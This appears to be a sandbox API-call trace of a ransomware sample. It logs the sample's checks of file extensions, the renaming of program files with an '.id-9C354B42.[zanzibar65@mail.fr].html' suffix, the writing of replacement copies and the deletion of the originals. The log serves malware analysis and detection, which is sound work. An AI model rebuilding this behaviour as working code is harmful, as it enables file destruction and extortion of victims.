[0267.228] lstrlenW (lpString=".docx") returned 5 [0267.228] lstrcmpiW (lpString1=".docx", lpString2="n.exe") returned -1 [0267.228] lstrlenW (lpString=".pdf") returned 4 [0267.228] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0267.228] lstrlenW (lpString=".xls") returned 4 [0267.228] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0267.228] lstrlenW (lpString=".xlsx") returned 5 [0267.228] lstrcmpiW (lpString1=".xlsx", lpString2="n.exe") returned -1 [0267.228] lstrlenW (lpString=".ppt") returned 4 [0267.228] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0267.228] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InputPersonalization.exe") returned 75 [0267.228] lstrlenW (lpString=".zip") returned 4 [0267.228] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0267.228] lstrlenW (lpString=".rar") returned 4 [0267.228] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0267.228] lstrlenW (lpString=".bz2") returned 4 [0267.228] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0267.228] lstrlenW (lpString=".7z") returned 3 [0267.228] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0267.228] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InputPersonalization.exe") returned 75 [0267.228] lstrlenW (lpString=".dbf") returned 4 [0267.228] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0267.228] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InputPersonalization.exe") returned 75 [0267.228] lstrlenW (lpString=".1cd") returned 4 [0267.229] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0267.229] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InputPersonalization.exe") returned 75 [0267.229] lstrlenW (lpString=".jpg") returned 4 [0267.229] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0267.229] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1 [0267.229] lstrlenW (lpString="IPSEventLogMsg.dll") returned 18 [0267.229] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IPSEventLogMsg.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipseventlogmsg.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0267.303] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2bfff1c | out: lpFileSize=0x2bfff1c*=2048) returned 1 [0267.303] CloseHandle (hObject=0x2f0) returned 1 [0267.303] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IPSEventLogMsg.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipseventlogmsg.dll")) returned 0x20 [0267.303] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IPSEventLogMsg.dll.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipseventlogmsg.dll.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0267.303] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IPSEventLogMsg.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipseventlogmsg.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.303] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IPSEventLogMsg.dll") returned 69 [0267.303] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IPSEventLogMsg.dll") returned 69 [0267.303] lstrlenW (lpString=".doc") returned 4 [0267.303] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0267.303] lstrlenW (lpString=".docx") returned 5 [0267.303] lstrcmpiW (lpString1=".docx", lpString2="g.dll") returned -1 [0267.303] lstrlenW (lpString=".pdf") returned 4 [0267.303] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0267.303] lstrlenW (lpString=".xls") returned 4 [0267.303] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0267.303] lstrlenW (lpString=".xlsx") returned 5 [0267.303] lstrcmpiW (lpString1=".xlsx", lpString2="g.dll") returned -1 [0267.303] lstrlenW (lpString=".ppt") returned 4 [0267.303] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0267.303] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IPSEventLogMsg.dll") returned 69 [0267.303] lstrlenW (lpString=".zip") returned 4 [0267.303] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0267.303] lstrlenW (lpString=".rar") returned 4 [0267.303] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0267.303] lstrlenW (lpString=".bz2") returned 4 [0267.303] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0267.303] lstrlenW (lpString=".7z") returned 3 [0267.303] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0267.303] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IPSEventLogMsg.dll") returned 69 [0267.304] lstrlenW (lpString=".dbf") returned 4 [0267.304] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0267.304] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IPSEventLogMsg.dll") returned 69 [0267.304] lstrlenW (lpString=".1cd") returned 4 [0267.304] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0267.304] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IPSEventLogMsg.dll") returned 69 [0267.304] lstrlenW (lpString=".jpg") returned 4 [0267.304] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0267.304] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IPSEventLogMsg.dll") returned 69 [0267.304] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IPSEventLogMsg.dll") returned 69 [0267.304] lstrlenW (lpString=".doc") returned 4 [0267.304] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0267.304] lstrlenW (lpString=".docx") returned 5 [0267.304] lstrcmpiW (lpString1=".docx", lpString2="g.dll") returned -1 [0267.304] lstrlenW (lpString=".pdf") returned 4 [0267.304] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0267.304] lstrlenW (lpString=".xls") returned 4 [0267.304] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0267.304] lstrlenW (lpString=".xlsx") returned 5 [0267.304] lstrcmpiW (lpString1=".xlsx", lpString2="g.dll") returned -1 [0267.304] lstrlenW (lpString=".ppt") returned 4 [0267.304] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0267.304] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IPSEventLogMsg.dll") returned 69 [0267.304] lstrlenW (lpString=".zip") returned 4 [0267.304] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0267.304] lstrlenW (lpString=".rar") returned 4 [0267.304] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0267.304] lstrlenW (lpString=".bz2") returned 4 [0267.304] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0267.304] lstrlenW (lpString=".7z") returned 3 [0267.304] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0267.304] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IPSEventLogMsg.dll") returned 69 [0267.304] lstrlenW (lpString=".dbf") returned 4 [0267.304] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0267.304] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IPSEventLogMsg.dll") returned 69 [0267.305] lstrlenW (lpString=".1cd") returned 4 [0267.305] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0267.305] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IPSEventLogMsg.dll") returned 69 [0267.305] lstrlenW (lpString=".jpg") returned 4 [0267.305] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0267.305] lstrcmpiW (lpString1=".mui", lpString2=".html") returned 1 [0267.305] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0267.305] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lv-lv\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0267.307] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2bfff1c | out: lpFileSize=0x2bfff1c*=4096) returned 1 [0267.307] CloseHandle (hObject=0x2f0) returned 1 [0267.307] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lv-lv\\tipresx.dll.mui")) returned 0x20 [0267.307] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\tipresx.dll.mui.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lv-lv\\tipresx.dll.mui.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0267.308] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lv-lv\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.308] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\tipresx.dll.mui") returned 72 [0267.308] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\tipresx.dll.mui") returned 72 [0267.308] lstrlenW (lpString=".doc") returned 4 [0267.308] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0267.308] lstrlenW (lpString=".docx") returned 5 [0267.308] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0267.308] lstrlenW (lpString=".pdf") returned 4 [0267.308] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0267.308] lstrlenW (lpString=".xls") returned 4 [0267.308] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0267.308] lstrlenW (lpString=".xlsx") returned 5 [0267.308] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0267.308] lstrlenW (lpString=".ppt") returned 4 [0267.308] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0267.308] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\tipresx.dll.mui") returned 72 [0267.308] lstrlenW (lpString=".zip") returned 4 [0267.308] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0267.308] lstrlenW (lpString=".rar") returned 4 [0267.308] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0267.308] lstrlenW (lpString=".bz2") returned 4 [0267.308] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0267.308] lstrlenW (lpString=".7z") returned 3 [0267.308] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0267.308] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\tipresx.dll.mui") returned 72 [0267.308] lstrlenW (lpString=".dbf") returned 4 [0267.308] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0267.308] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\tipresx.dll.mui") returned 72 [0267.308] lstrlenW (lpString=".1cd") returned 4 [0267.308] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0267.308] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\tipresx.dll.mui") returned 72 [0267.308] lstrlenW (lpString=".jpg") returned 4 [0267.308] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0267.309] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\tipresx.dll.mui") returned 72 [0267.309] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\tipresx.dll.mui") returned 72 [0267.309] lstrlenW (lpString=".doc") returned 4 [0267.309] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0267.309] lstrlenW (lpString=".docx") returned 5 [0267.309] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0267.309] lstrlenW (lpString=".pdf") returned 4 [0267.309] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0267.309] lstrlenW (lpString=".xls") returned 4 [0267.309] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0267.309] lstrlenW (lpString=".xlsx") returned 5 [0267.309] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0267.309] lstrlenW (lpString=".ppt") returned 4 [0267.309] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0267.309] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\tipresx.dll.mui") returned 72 [0267.309] lstrlenW (lpString=".zip") returned 4 [0267.309] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0267.309] lstrlenW (lpString=".rar") returned 4 [0267.309] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0267.309] lstrlenW (lpString=".bz2") returned 4 [0267.309] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0267.309] lstrlenW (lpString=".7z") returned 3 [0267.309] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0267.309] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\tipresx.dll.mui") returned 72 [0267.309] lstrlenW (lpString=".dbf") returned 4 [0267.309] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0267.309] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\tipresx.dll.mui") returned 72 [0267.309] lstrlenW (lpString=".1cd") returned 4 [0267.309] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0267.309] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\tipresx.dll.mui") returned 72 [0267.309] lstrlenW (lpString=".jpg") returned 4 [0267.309] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0267.310] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1 [0267.310] lstrlenW (lpString="Microsoft.Ink.dll") returned 17 [0267.310] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Microsoft.Ink.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\microsoft.ink.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0267.311] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2bfff1c | out: lpFileSize=0x2bfff1c*=507904) returned 1 [0267.311] CloseHandle (hObject=0x2f0) returned 1 [0267.311] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Microsoft.Ink.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\microsoft.ink.dll")) returned 0x20 [0267.311] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Microsoft.Ink.dll.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\microsoft.ink.dll.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0267.312] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Microsoft.Ink.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\microsoft.ink.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.312] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Microsoft.Ink.dll") returned 68 [0267.312] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Microsoft.Ink.dll") returned 68 [0267.312] lstrlenW (lpString=".doc") returned 4 [0267.312] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0267.312] lstrlenW (lpString=".docx") returned 5 [0267.312] lstrcmpiW (lpString1=".docx", lpString2="k.dll") returned -1 [0267.312] lstrlenW (lpString=".pdf") returned 4 [0267.312] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0267.312] lstrlenW (lpString=".xls") returned 4 [0267.312] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0267.312] lstrlenW (lpString=".xlsx") returned 5 [0267.312] lstrcmpiW (lpString1=".xlsx", lpString2="k.dll") returned -1 [0267.312] lstrlenW (lpString=".ppt") returned 4 [0267.312] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0267.312] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Microsoft.Ink.dll") returned 68 [0267.312] lstrlenW (lpString=".zip") returned 4 [0267.312] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0267.312] lstrlenW (lpString=".rar") returned 4 [0267.312] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0267.312] lstrlenW (lpString=".bz2") returned 4 [0267.312] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0267.312] lstrlenW (lpString=".7z") returned 3 [0267.312] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0267.313] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mraut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mraut.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mraut.dll.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mraut.dll.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0 [0267.442] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Csi.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\csi.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Csi.dll.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\csi.dll.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0 [0267.445] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msores.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msores.dll.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0 [0267.456] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\osetup.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\osetup.dll.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0 [0268.089] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PRJRES.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\prjres.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PRJRES.DLL.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\prjres.dll.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0 [0268.892] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPSRVUTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\fpsrvutl.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPSRVUTL.DLL.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\fpsrvutl.dll.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0 [0269.877] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\DVDMaker.exe" (normalized: "c:\\program files\\dvd maker\\dvdmaker.exe"), lpNewFileName="C:\\Program Files\\DVD Maker\\DVDMaker.exe.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\dvd maker\\dvdmaker.exe.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0 [0269.885] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\OmdBase.dll" (normalized: "c:\\program files\\dvd maker\\omdbase.dll"), lpNewFileName="C:\\Program Files\\DVD Maker\\OmdBase.dll.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\dvd maker\\omdbase.dll.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0 [0269.885] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\OmdProject.dll" (normalized: "c:\\program files\\dvd maker\\omdproject.dll"), lpNewFileName="C:\\Program Files\\DVD Maker\\OmdProject.dll.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\dvd maker\\omdproject.dll.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0 [0269.885] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Pipeline.dll" (normalized: "c:\\program files\\dvd maker\\pipeline.dll"), lpNewFileName="C:\\Program Files\\DVD Maker\\Pipeline.dll.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\dvd maker\\pipeline.dll.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0 [0269.886] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\PipeTran.dll" (normalized: "c:\\program files\\dvd maker\\pipetran.dll"), lpNewFileName="C:\\Program Files\\DVD Maker\\PipeTran.dll.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\dvd maker\\pipetran.dll.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0 [0269.921] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec8 | out: lpNewFilePointer=0x0) returned 1 [0269.921] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec8 | out: lpNewFilePointer=0x0) returned 1 [0269.921] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033\\msolui100.rll.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0270.308] GetLastError () returned 0x0 [0270.308] ReadFile (in: hFile=0x30c, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2bffed4*=0x3a18, lpOverlapped=0x0) returned 1 [0270.354] WriteFile (in: hFile=0x370, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0x3a20, lpNumberOfBytesWritten=0x2bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2bffc9c*=0x3a20, lpOverlapped=0x0) returned 1 [0270.355] ReadFile (in: hFile=0x30c, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2bffed4*=0x0, lpOverlapped=0x0) returned 1 [0270.356] WriteFile (in: hFile=0x370, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2bffc9c*=0xee, lpOverlapped=0x0) returned 1 [0270.356] SetEndOfFile (hFile=0x370) returned 1 [0270.356] CloseHandle (hObject=0x370) returned 1 [0270.356] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec8 | out: lpNewFilePointer=0x0) returned 1 [0270.356] SetEndOfFile (hFile=0x30c) returned 1 [0270.361] CloseHandle (hObject=0x30c) returned 1 [0270.361] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0270.361] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033\\msolui100.rll")) returned 1 [0270.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll") returned 85 [0270.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll") returned 85 [0270.362] lstrlenW (lpString=".doc") returned 4 [0270.362] lstrcmpiW (lpString1=".doc", lpString2=".rll") returned -1 [0270.362] lstrlenW (lpString=".docx") returned 5 [0270.362] lstrcmpiW (lpString1=".docx", lpString2="0.rll") returned -1 [0270.362] lstrlenW (lpString=".pdf") returned 4 [0270.362] lstrcmpiW (lpString1=".pdf", lpString2=".rll") returned -1 [0270.362] lstrlenW (lpString=".xls") returned 4 [0270.362] lstrcmpiW (lpString1=".xls", lpString2=".rll") returned 1 [0270.362] lstrlenW (lpString=".xlsx") returned 5 [0270.362] lstrcmpiW (lpString1=".xlsx", lpString2="0.rll") returned -1 [0270.362] lstrlenW (lpString=".ppt") returned 4 [0270.362] lstrcmpiW (lpString1=".ppt", lpString2=".rll") returned -1 [0270.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll") returned 85 [0270.362] lstrlenW (lpString=".zip") returned 4 [0270.362] lstrcmpiW (lpString1=".zip", lpString2=".rll") returned 1 [0270.362] lstrlenW (lpString=".rar") returned 4 [0270.362] lstrcmpiW (lpString1=".rar", lpString2=".rll") returned -1 [0270.362] lstrlenW (lpString=".bz2") returned 4 [0270.362] lstrcmpiW (lpString1=".bz2", lpString2=".rll") returned -1 [0270.362] lstrlenW (lpString=".7z") returned 3 [0270.362] lstrcmpiW (lpString1=".7z", lpString2="rll") returned -1 [0270.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll") returned 85 [0270.362] lstrlenW (lpString=".dbf") returned 4 [0270.362] lstrcmpiW (lpString1=".dbf", lpString2=".rll") returned -1 [0270.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll") returned 85 [0270.362] lstrlenW (lpString=".1cd") returned 4 [0270.362] lstrcmpiW (lpString1=".1cd", lpString2=".rll") returned -1 [0270.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll") returned 85 [0270.363] lstrlenW (lpString=".jpg") returned 4 [0270.363] lstrcmpiW (lpString1=".jpg", lpString2=".rll") returned -1 [0270.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll") returned 85 [0270.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll") returned 85 